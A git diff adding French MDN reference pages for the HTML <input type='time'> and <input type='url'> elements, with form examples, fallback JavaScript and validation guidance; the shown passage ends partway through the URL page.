+    &lt;label for="appt-time"&gt;Veuillez choisir une heure de rendez-vous (horaires d'ouverture entre 12:00 et 18:00) : &lt;/label&gt;
+    &lt;input id="appt-time" type="time" name="appt-time"
+           min="12:00" max="18:00" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+      &lt;input type="submit" value="Envoyer le formulaire"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Si vous essayez de soumettre le formulaire sans avoir saisi de valeur (ou avec une heure en dehors des heures d'ouverture indiquées), le navigateur affichera une erreur. Vous pouvez manipuler le résultat obtenu :</p>
+
+<p>{{EmbedLiveSample('Rendre_la_saisie_obligatoire', 600, 120)}}</p>
+
+<p>Voici une capture d'écran (en anglais) si votre navigateur ne prend pas en charge cete fonctionnalité :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15405/firefox-validation-message.png" style="display: block; margin: 0 auto;"></p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Il est également important de vérifier le format de la valeur saisie côté serveur ! En effet, il est tout à fait possible pour un utilisateur de modifier le code HTML du site ou d'envoyer des données au serveur sans passer par le formulaire. Il est donc nécessaire de contrôler la valeur avant de s'en servir dans la logique de l'application côté serveur afin d'éviter des conséquences malheureuses.</p>
+</div>
+
+<h2 id="Gérer_la_prise_en_charge_des_navigateurs">Gérer la prise en charge des navigateurs</h2>
+
+<p>Comme mentionné avant, un problème peut être l'hétérogénéité de la prise en charge des navigateurs : Safari ne prend pas en charge cette fonctionnalité sur les ordinateurs de bureau et les anciennes versions d'Internet Explorer n'implémentent pas cet élément.</p>
+
+<p>Pour les plateformes mobiles (Android et iOS par exemple), les systèmes d'exploitation fournissent des interfaces particulièrement adaptées aux environnements tactiles. Voici par exemple le sélecteur d'heure pour Chrome sur Android :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15407/chrome-android-time.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Lorsqu'un navigateur ne prend pas en charge ce type d'élément, il utilise un champ texte (<code>&lt;input type="text"&gt;</code>) à la place. Mais cela crée des problèmes, tant au niveau de l'interface utilisateur que de la cohérence des données et du format.</p>
+
+<p>C'est ce problème de format qui est le plus important. Comme nous l'avons expliqués plus haut, un champ<code>time</code> permet d'obtenir un valeur normalisée, respectant le format <code>hh:mm</code>. Avec un champ texte, le navigateur ne reconnaît pas de format particulier pour l'heure et les utilisateurs peuvent employer différentes formes pour décrire l'heure voulue :</p>
+
+<ul>
+ <li><code>3.00 pm</code></li>
+ <li><code>3:00pm</code></li>
+ <li><code>15:00</code></li>
+ <li><code>3h de l'après-midi</code></li>
+ <li>etc.</li>
+</ul>
+
+<p>Une façon de contourner ce problème consiste à utiliser l'attribut {{htmlattrxref("pattern", "input")}} sur le champ <code>time</code>. Bien quqe le champ <code>time</code> n'utilise pas cet attribut, le champ texte pourra l'utiliser. Vous pouvez par exemple tester ce fragment de code dans un navigateur qui ne prend pas en charge <code>&lt;input type="time"&gt;</code> :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="appt-time"&gt;Veuillez choisir une heure de rendez-vous (heures d'ouverture entre 12:00 et 18:00) : &lt;/label&gt;
+    &lt;input id="appt-time" type="time" name="appt-time"
+           min="12:00" max="18:00" required
+           pattern="[0-9]{2}:[0-9]{2}"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+      &lt;input type="submit" value="Envoyer"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Gérer_la_prise_en_charge_des_navigateurs', 600, 100)}}</p>
+
+<p>Si on essaie d'envoyer une valeur qui ne respecte pas le bon format, le navigateur affichera un message d'erreur et mettra en évidence le champ si celui-ci ne suit pas la forme <code>nn:nn</code> avec <code>n</code> un nombre entre 0 et 9. Bien entendu, cela n'empêche pas de saisir des heures invalides mais qui respectent ce format.</p>
+
+<p>De plus, comment communiquer à l'utilisateur le format dans lequel saisir l'heure ?</p>
+
+<p>Il reste donc un problème.</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>Actuellement, la meilleure façon de gérer ce type de saisie pour les différents navigateurs consiste à utiliser deux contrôles (le premier pour la saisie des heures et le second pour la saisie des minutes) avec deux éléments {{htmlelement("select")}} (cf. ci-après) ou d'utiliser certaines bibliothèques JavaScript telles que <a href="https://jqueryui.com/datepicker/">jQuery date picker</a> ou encore <a href="http://timepicker.co/">jQuery timepicker plugin</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on crée deux ensembles d'éléments : un sélecteur natif avec <code>&lt;input type="time"&gt;</code> et un ensemble de deux éléments {{htmlelement("select")}} qui permettent de choisir des heures et des minutes dans les navigateurs qui ne prennent pas en charge le contrôle natif.</p>
+
+<p>{{EmbedLiveSample('Exemples', 600, 140)}}</p>
+
+<p>Voici le fragment HTML utilisé :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div class="nativeTimePicker"&gt;
+    &lt;label for="appt-time"&gt;Veuillez choisir une heure de rendez-vous (heures d'ouverture 12:00 à 18:00) : &lt;/label&gt;
+      &lt;input id="appt-time" type="time" name="appt-time"
+             min="12:00" max="18:00" required&gt;
+      &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;/div&gt;
+  &lt;p class="fallbackLabel"&gt;Veuillez choisir une heure de rendez-vous (heures d'ouverture 12:00 à 18:00) : &lt;/p&gt;
+  &lt;div class="fallbackTimePicker"&gt;
+    &lt;div&gt;
+      &lt;span&gt;
+        &lt;label for="hour"&gt;Heures :&lt;/label&gt;
+        &lt;select id="hour" name="hour"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="minute"&gt;Minutes :&lt;/label&gt;
+        &lt;select id="minute" name="minute"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Les valeurs pour les heures et les minutes seront générées dynamiquement en JavaScript.</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>La partie la plus intéressante du code est celle qui permet de détecter si le contrôle natif est pris en charge. Pour cela, on crée un nouvel élément {{htmlelement("input")}} et on modifie son attribut <code>type</code> afin qu'il vaille <code>time</code>, immédiatement après, on vérifie la valeur du type. Si le navigateur ne prend pas en charge l'élément, il renverra <code>text</code> car l'élément a été transformé en <code>&lt;input type="text"&gt;</code>, dans ce cas, on masque le sélecteur natif et on affiche l'interface alternative avec les deux éléments {{htmlelement("select")}}.</p>
+
+<pre class="brush: js">// On définit quelques variables
+var nativePicker = document.querySelector('.nativeTimePicker');
+var fallbackPicker = document.querySelector('.fallbackTimePicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var hourSelect = document.querySelector('#hour');
+var minuteSelect = document.querySelector('#minute');
+
+// On cache le sélecteur alternatif
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// On teste si un nouveau contrôle time
+// est transformé en text
+var test = document.createElement('input');
+test.type = 'time';
+// Si c'est le cas…
+if(test.type === 'text') {
+  // On masque le sélecteur natif et
+  // on affiche le sélecteur alternatif
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // On génère les valeurs dynamiquement
+  // pour les heures et les minutes
+  populateHours();
+  populateMinutes();
+}
+
+function populateHours() {
+  // On ajoute les heures dans
+  // l'élément &lt;select&gt; avec les 6
+  // heures ouvertes
+  for(var i = 12; i &lt;= 18; i++) {
+    var option = document.createElement('option');
+    option.textContent = i;
+    hourSelect.appendChild(option);
+  }
+}
+
+function populateMinutes() {
+  // On génère 60 options pour 60 minutes
+  for(var i = 0; i &lt;= 59; i++) {
+    var option = document.createElement('option');
+    option.textContent = (i &lt; 10) ? ("0" + i) : i;
+    minuteSelect.appendChild(option);
+  }
+}
+
+// avec la fonction suivante, si l'heure vaut 18
+// on s'assure que les minutes vaillent 00
+// afin de ne pas pouvoir choisir d'heure passé 18:00
+ function setMinutesToZero() {
+   if(hourSelect.value === '18') {
+     minuteSelect.value = '00';
+   }
+ }
+
+ hourSelect.onchange = setMinutesToZero;
+ minuteSelect.onchange = setMinutesToZero;</pre>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente un heure (avec des minutes) ou bien une chaîne de caractères vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}} et {{htmlattrxref("step", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>, <code>list</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#time-state-(type=time)', '&lt;input type="time"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-time")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément générique {{HTMLElement("input")}} ainsi que l'interface DOM {{domxref("HTMLInputElement")}} qui peut être utilisée pour manipuler l'élément</li>
+ <li><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Les formats de date et d'heure utilisés en HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs#Sélection_de_date_et_d'horaire">Un tutoriel pour les sélecteurs de date et d'heure</a></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/datetime-local">&lt;input type="datetime-local"&gt;</a></code>, <code><a href="/fr/docs/Web/HTML/Element/input/date">&lt;input type="date"&gt;</a></code>, <code><a href="/fr/docs/Web/HTML/Element/input/week">&lt;input type="week"&gt;</a></code>, and <code><a href="/fr/docs/Web/HTML/Element/input/month">&lt;input type="month"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/input/url/index.html b/files/fr/web/html/element/input/url/index.html
new file mode 100644
index 0000000000..37cdcb0804
--- /dev/null
+++ b/files/fr/web/html/element/input/url/index.html
@@ -0,0 +1,397 @@
+---
+title: <input type="url">
+slug: Web/HTML/Element/Input/url
+tags:
+  - Formulaire
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/url
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">Les éléments {{HTMLElement("input")}} dont l'attribut <code>type</code> vaut <code><strong>"url"</strong></code> sont employées afin de permettre à un utilisateur de saisir ou d'éditer une URL.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-url.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La valeur saisie est automatiquement validée par le navigateur qui vérifie qu'elle est vide ou formatée correctement avant que le formulaire puisse être envoyé. Les pseudo-classes {{cssxref(":valid")}} et {{cssxref(":invalid")}} sont appliquées auomatiquement selon le cas de figure.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les navigateurs qui ne prennent pas en charge le type<code>"url"</code> utiliseront à la place un élément {{HTMLElement("input/text", "text")}}.</p>
+</div>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>La valeur de l'attribut {{htmlattrxref("value", "input")}} contient une chaîne de caractères ({{domxref("DOMString")}}) dont la valeur est automatiquement vérifiée afin de s'assurer que sa syntaxe est bien celle d'une URL. De façon plus précise, seuls deux formats sont autorisés :</p>
+
+<ol>
+ <li>Une chaîne de caractères vide ("") qui indique que l'utilisateur n'a pas saisi de valeur ou que la valeur a été retirée.</li>
+ <li>Une seule URL bien formée. Cela ne signifie pas nécessairement que l'adresse existe mais qu'elle est formatée correctement. Autrement dit, la chaîne de caractères respecte la forme <code>"schema://restedelurl"</code>.</li>
+</ol>
+
+<p>Voir {{anch("Validation")}} pour plus de détails sur le format des URL et leur validation.</p>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs qui fonctionnent pour tous les types d'éléments {{HTMLElement("input")}}, les champs de saisie d'URL prennent en charge les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("maxlength")}}</code></td>
+   <td>La longueur maximale de l'URL, exprimée en nombre de caractères UTF-16, afin qu'elle soit considérée comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("minlength")}}</code></td>
+   <td>La longueur minimale de l'URL, exprimée en nombre de caractères UTF-16, afin qu'elle soit considérée comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("pattern")}}</code></td>
+   <td>Une expression rationnelle que doit respecter la valeur afin d'être considérée comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("placeholder")}}</code></td>
+   <td>Une valeur d'exemple à afficher lorsqu'aucune valeur n'est saisie dans le champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un attribut booléen qui indique si le champ est en lecture seule et ne peut être édité par l'utilisateur.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("size")}}</code></td>
+   <td>Le nombre de caractères qui doivent être visibles à l'écran.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("spellcheck")}}</code></td>
+   <td>Une chaîne de caractères qui contrôle si la vérification orthographique doit être activée.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(maxlength)">{{htmlattrdef("maxlength")}}</h3>
+
+<p>Le nombre maximal de caractères (en nombre de points de code UTF-16) qui peuvent être saisis dans le champ de l'URL. Cette valeur doit être un entier positif ou nul. Si aucune valeur n'est fournie pour <code>maxlength</code> ou qu'une valeur invalide est fournie, le champ n'aura pas de longueur maximale. La valeur de cet attribut doit être supérieure ou égale à celle de l'attribut <code>minlength</code>.</p>
+
+<p>La valeur <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne respectera pas la validation</a> si la longueur du texte saisi est supérieure à cet attribut.</p>
+
+<h3 id="htmlattrdef(minlength)">{{htmlattrdef("minlength")}}</h3>
+
+<p>Le nombre minimal de caractères (en nombre de points de code UTF-16) qui doivent être saisis dans le champ de l'URL. Cette valeur doit être un entier positif ou nul. Si aucune valeur n'est fournie pour <code>minlength</code> ou qu'une valeur invalide est fournie, le champ n'aura pas de longueur minimale. La valeur de cet attribut doit être inférieure ou égale à celle de l'attribut <code>maxlength</code>.</p>
+
+<p>La valeur <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">ne respectera pas la validation</a> si la longueur du texte saisi est inférieure à cet attribut.</p>
+
+<h3 id="htmlattrdef(pattern)">{{htmlattrdef("pattern")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "pattern-include")}}</p>
+
+<p>Voir <a href="#format">la section ci-après sur le format</a> pour plus de détails et d'exemples.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "placeholder", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "size", 0, 1, 2)}}</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "spellcheck", 0, 1, 2)}}</p>
+
+<h2 id="Attributs_non-standard">Attributs non-standard</h2>
+
+<p>Il est possible (mais déconseillé) d'utiliser ces attributs non-standard sur les champs de saisie d'URL.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocorrect")}}</code></td>
+   <td>Autorise ou non la correction automatique lors de l'édition de ce champ. <strong>Uniquement pris en charge par Safari.</strong></td>
+  </tr>
+  <tr>
+   <td><code>{{anch("mozactionhint")}}</code></td>
+   <td>Une chaîne de caractères qui indique le type d'action qui sera effectuée lorsque l'utilisateur appuiera sur la touche <kbd>Entrée</kbd> ou <kbd>Retour</kbd> lors de l'édition du champ. Cet attribut est destiné à fournir un libellé équivoque pour la touche du clavier virtuel présenté à l'utilisateur.<strong> Uniquement pris en charge par Firefox pour Android.</strong></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(autocorrect)_non-standard_inline">{{htmlattrdef("autocorrect")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "autocorrect-include")}}</p>
+
+<h3 id="htmlattrdef(mozactionhint)_non-standard_inline">{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "mozactionhint-include")}}</p>
+
+<h2 id="Utiliser_des_champs_de_saisie_d'URL">Utiliser des champs de saisie d'URL</h2>
+
+<p>Lorsqu'on crée un champ avec un attribut <code>type</code> qui vaut <code>"url"</code>, on obtient une validation automatique qui vérifie que le format de la valeur respecte bien celui d'une URL. Cela permet par exemple d'éviter des cas où des utilisateurs laissent une coquille dans la saisie d'une adresse d'un site web.</p>
+
+<p>Toutefois, ce mécanisme ne vérifie pas que l'URL saisie existe bien ou correspond à l'utilisateur. Seule une vérification de format est effectuée.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Il est également important de vérifier le format de la valeur saisie côté serveur ! En effet, il est tout à fait possible pour un utilisateur de modifier le code HTML du site ou d'envoyer des données au serveur sans passer par le formulaire. Il est donc nécessaire de contrôler la valeur avant de s'en servir dans la logique de l'application côté serveur afin d'éviter des conséquences malheureuses.</p>
+</div>
+
+<h3 id="Un_simple_champ">Un simple champ</h3>
+
+<p>Actuellement, l'ensemble des navigateurs implémentent ce type de champ comme un champ texte qui dispose de fonctionnalités de validation basiques. Dans sa forme la plus simple, un champ de saisie d'URL ressemblera à :</p>
+
+<pre class="brush: html">&lt;input id="monURL" name="monURL" type="url"&gt;</pre>
+
+<p>{{EmbedLiveSample('Un_simple_champ', 600, 40)}}</p>
+
+<p>La valeur du champ est considérée valide lorsqu'elle est vide ou qu'il s'agit d'une URL correctement formatée, autrement elle est invalide. Si on ajoute l'attribut {{htmlattrxref("required", "input")}}, la valeur vide n'est plus valide, il est nécessaire de saisir une valeur.</p>
+
+<p>Ainsi, si l'utilisateur saisit l'URL <code>http://www.example.com</code>, voici ce qui sera envoyé vers le serveur : <code>monURL=http%3A%2F%2Fwww.example.com</code> (on notera la façon dont certains caractères sont échappés).</p>
+
+<h3 id="Textes_indicatifs_-_placeholders">Textes indicatifs <em>- placeholders</em></h3>
+
+<p>Il est parfois utile de fournir une indication sur le type de donnée attendu. Sur les pages pour lesquelles la place est restreinte, on ne peut pas se servir de l'étiqutte du champ. On peut alors utiliser un texte indicatif qui apparaît lorsque la valeur du champ est vide et qui est retiré dès que l'utilisateur saisit quelqu chose. Pour cela, on utilise l'attribut <code>placeholder</code>.</p>
+
+<p>Dans l'exemple qui suit, le contrôle contient le texte indicatif <code>"http://www.example.com"</code>. Dans le résultat, vous pouvez voir comment ce texte disparaît/réapparaît lorsqu'on saisit une valeur dans le contrôle.</p>
+
+<pre class="brush: html">&lt;input id="monURL" name="monURL" type="url"
+       placeholder="http://www.example.com"&gt;</pre>
+
+<p>{{EmbedLiveSample('Textes_indicatifs_-_placeholders', 600, 40)}}</p>
+
+<h3 id="Contrôler_la_taille_du_champ">Contrôler la taille du champ</h3>
+
+<p>Il est possible de contrôler la taille physique de la boîte utilisée pour le contrôle. On peut également contraindre la taille de la valeur saisie dans le champ (entre X et Y caractères par exemple).</p>
+
+<h4 id="La_taille_physique">La taille physique</h4>
+
+<p>C'est l'attribut {{htmlattrxref("size", "input")}} qui permet de contrôler la taille de la boîte utilisée. La valeur de cet attribut correspond au nombre de caractères qui seront affichés en même temps dans la boîte. Dans l'exemple suivant, on souhaite que la boîte de saisie mesure 30 caractères de large :</p>
+
+<pre class="brush: html">&lt;input id="monURL" name="monURL" type="url"
+       size="30"&gt;</pre>
+
+<p>{{EmbedLiveSample('La_taille_physique', 600, 40)}}</p>
+
+<h4 id="La_longueur_de_la_valeur">La longueur de la valeur</h4>
+
+<p>L'attribut <code>size</code> ne limite pas la valeur qui peut être saisie mais uniquement l'affichage de celle-ci. Pour indiquer une longueur (exprimée en nombre de caractères) minimale d'URL à saisir, on pourra utiliser l'attribut {{htmlattrxref("minlength", "input")}}. De même, l'attribut {{htmlattrxref("maxlength", "input")}} indique la longueur maximale d'une URL qui peut être saisie dans le contrôle.</p>
+
+<p>Dans l'exemple qui suit, on affiche une boîte de saisie qui mesure 30 caractères de large et on souhaite que l'URL soit plus longue que 10 caractères et moins longue que 80.</p>
+
+<pre class="brush: html">&lt;input id="monURL" name="monURL" type="url"
+       size="30" minlength="10" maxlength="80"&gt;
+</pre>
+
+<p>{{EmbedLiveSample("La_longueur_de_la_valeur", 600, 40)}}</p>
+
+<div class="note">
+<p><strong>Note</strong> : Ces attributs jouent un rôle lors de la validation. Si la valeur saisie est plus courte que la longueur minimale indiquée ou plus grande que la longueur maximale indiquée, alors elle seera considérée comme invalide. De plus, la plupart des navigateurs ne permettent pas de saisir une valeur plus grande que la longueur maximale indiquée avec <code>maxlength</code>.</p>
+</div>
+
+<h3 id="Fournir_des_valeurs_par_défaut">Fournir des valeurs par défaut</h3>
+
+<p>On peut fournir une valeur par défaut grâce à l'attribut {{htmlattrxref("value", "input")}} :</p>
+
+<div id="Default_value">
+<pre class="brush: html">&lt;input id="monURL" name="monURL" type="url"
+       value="http://www.example.com"&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Fournir_des_valeurs_par_défaut", 600, 40)}}</p>
+
+<h4 id="Fournir_des_suggestions">Fournir des suggestions</h4>
+
+<p>On peut également fournir une liste d'options parmi lesquelles l'utilisateur peut choisir via l'attribut {{htmlattrxref("list", "input")}}. Cette liste ne limite pas l'utilisateur à ces choix mais permet de choisir certaines URL fréquemment utilisées plus facilement. Cette liste peut également être utilisée par l'attribut {{htmlattrxref("autocomplete", "input")}}. La valeur de l'attribut <code>list</code> est un identifiant d'un élément {{HTMLElement("datalist")}} qui contient autant d'éléments {{HTMLElement("option")}} que de valeurs suggérées. La valeur de l'attribut <code>value</code> de chacun de ces éléments <code>&lt;option&gt;</code> correspondra à la valeur qui sera suggérée dans le champ de saisie.</p>
+
+<pre class="brush: html">&lt;input id="monURL" name="monURL" type="url"
+       list="defaultURLs"&gt;
+
+&lt;datalist id="defaultURLs"&gt;
+  &lt;option value="http://www.example.com"&gt;
+  &lt;option value="https://www.example.com"&gt;
+  &lt;option value="http://www.example.org"&gt;
+  &lt;option value="https://www.example.org"&gt;
+&lt;/datalist&gt;</pre>
+
+<p>{{EmbedLiveSample("Fournir_des_suggestions", 600, 40)}}</p>
+
+<p>Avec cet élément {{HTMLElement("datalist")}} et les éléments {{HTMLElement("option")}} associés, le navigateur affichera les valeurs proposées sous la forme d'une liste déroulante (voire sous un autre format). Au fur et à mesure que l'utilisateur saisit dans le champ, la liste se réduit pour ne contenir que les valeurs correspondantes (et ce jusqu'à ce que l'utilisateur saisisse une autre valeur ou sélectionne une valeur parmi la liste).</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Il existe deux niveaux de validation pour les contrôles de type <code>"url"</code>. Tout d'abord, le contrôle natif, toujours présent qui s'asssure que la valeur correspond à une URL bien formée. Ensuite, on peut ajouter des options supplémentaires pour personnaliser le format de l'URL attendue.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Il est également important de vérifier le format de la valeur saisie côté serveur ! En effet, il est tout à fait possible pour un utilisateur de modifier le code HTML du site ou d'envoyer des données au serveur sans passer par le formulaire. Il est donc nécessaire de contrôler la valeur avant de s'en servir dans la logique de l'application côté serveur afin d'éviter des conséquences malheureuses.</p>
+</div>
+
+<h3 id="Validation_simple">Validation simple</h3>
+
+<p>Les navigateurs qui prennent en charge le type <code>"url"</code> fournissent automatiquement un mécanisme de validation pour s'assurer que la valeur saisie correspond à une URL bien formée.</p>
+
+<h3 id="Rendre_le_champ_URL_obligatoire">Rendre le champ URL obligatoire</h3>
+
+<p>Comme vu ci-avant, on peut rendre la saisie de l'URL obligatoire avec l'attribut {{htmlattrxref("required", "input")}} :</p>
+
+<div id="Default_value">
+<pre class="brush: html">&lt;form&gt;
+  &lt;input id="monURL" name="monURL" type="url" required&gt;
+  &lt;button&gt;Envoyer&lt;/button&gt;
+&lt;/form&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Rendre_le_champ_URL_obligatoire", 600, 40)}}</p>
+
+<p>Vous pouvez essayer d'envoyer le formulaire précédent sans valeur saisie et voir le résultat obtenu.</p>
+
+<h3 id="Utiliser_un_format_particulier"><a id="format" name="format">Utiliser un format particulier</a></h3>
+
+<p>S'il faut restreindre l'URL plus fortement, on peut utiliser l'attribut {{htmlattrxref("pattern", "input")}} afin d'indiquer une <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">expression rationnelle</a> que la valeur saisie doit respecter afin d'être valide.</p>
+
+<p>Prenons comme exemple la construction d'un formulaire de support pour les employés de MaBoîte Inc. Ce formulaire permet d'indiquer à un service une des pages du site interne qui pose problème. Dans l'exemple simplifié, l'utilisateur indique l'URL de la page problématique ainsi qu'un message descriptif. Ici, on souhaite que l'URL saisit ne soit valide que si elle correspond au domaine <code>maboite</code>.</p>
+
+<p>Les contrôles de type <code>"url"</code> utilisant la validation native pour vérifier que c'est une URL bien formée et une validation spécifique via l'attribut {{htmlattrxref("pattern", "input")}}, on peut implémenter cette contrainte facilement :</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+  }
+
+  input[type="number"] {
+    width: 100px;
+  }
+
+  input + span {
+    padding-right: 30px;
+  }
+
+  input:invalid+span:after {
+    position: absolute; content: '✖';
+    padding-left: 5px;
+  }
+
+  input:valid+span:after {
+    position: absolute;
+    content: '✓';
+    padding-left: 5px;
+  }</pre>
+</div>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="myURL"&gt;Veuillez saisir l'adresse de la page problématique:&lt;/label&gt;
+    &lt;input id="myURL" name="myURL" type="url"
+           required pattern=".*\.maboite\..*"
+           title="L'URL doit être sur le domaine maboite."&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="myComment"&gt;Quel est le problème ?&lt;/label&gt;
+    &lt;input id="myComment" name="myComment" type="text"
+           required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Utiliser_un_format_particulier", 700, 150)}}</p>
+
+<p>Si on étudie le contrôle, on peut voir qu'on commence par utiliser l'attribut {{htmlattrxref("required", "input")}} afin de rendre le champ obligatoire.</p>
+
+<p>Ensuite, on utilise l'attribut <code>pattern</code> avec l'expression rationnelle <code>".*\.maboite\..*"</code>. Cet expression rationnelle indique que la chaîne de caractères saisie doit contenir des caractères quelconques suivis d'un point, suivi de "maboite", suivi d'un point, suivi de n'importe quels caractères.</p>
+
+<p>Cette expression rationnelle est loin d'être parfaite mais suffit pour les besoins de cet exemple.</p>
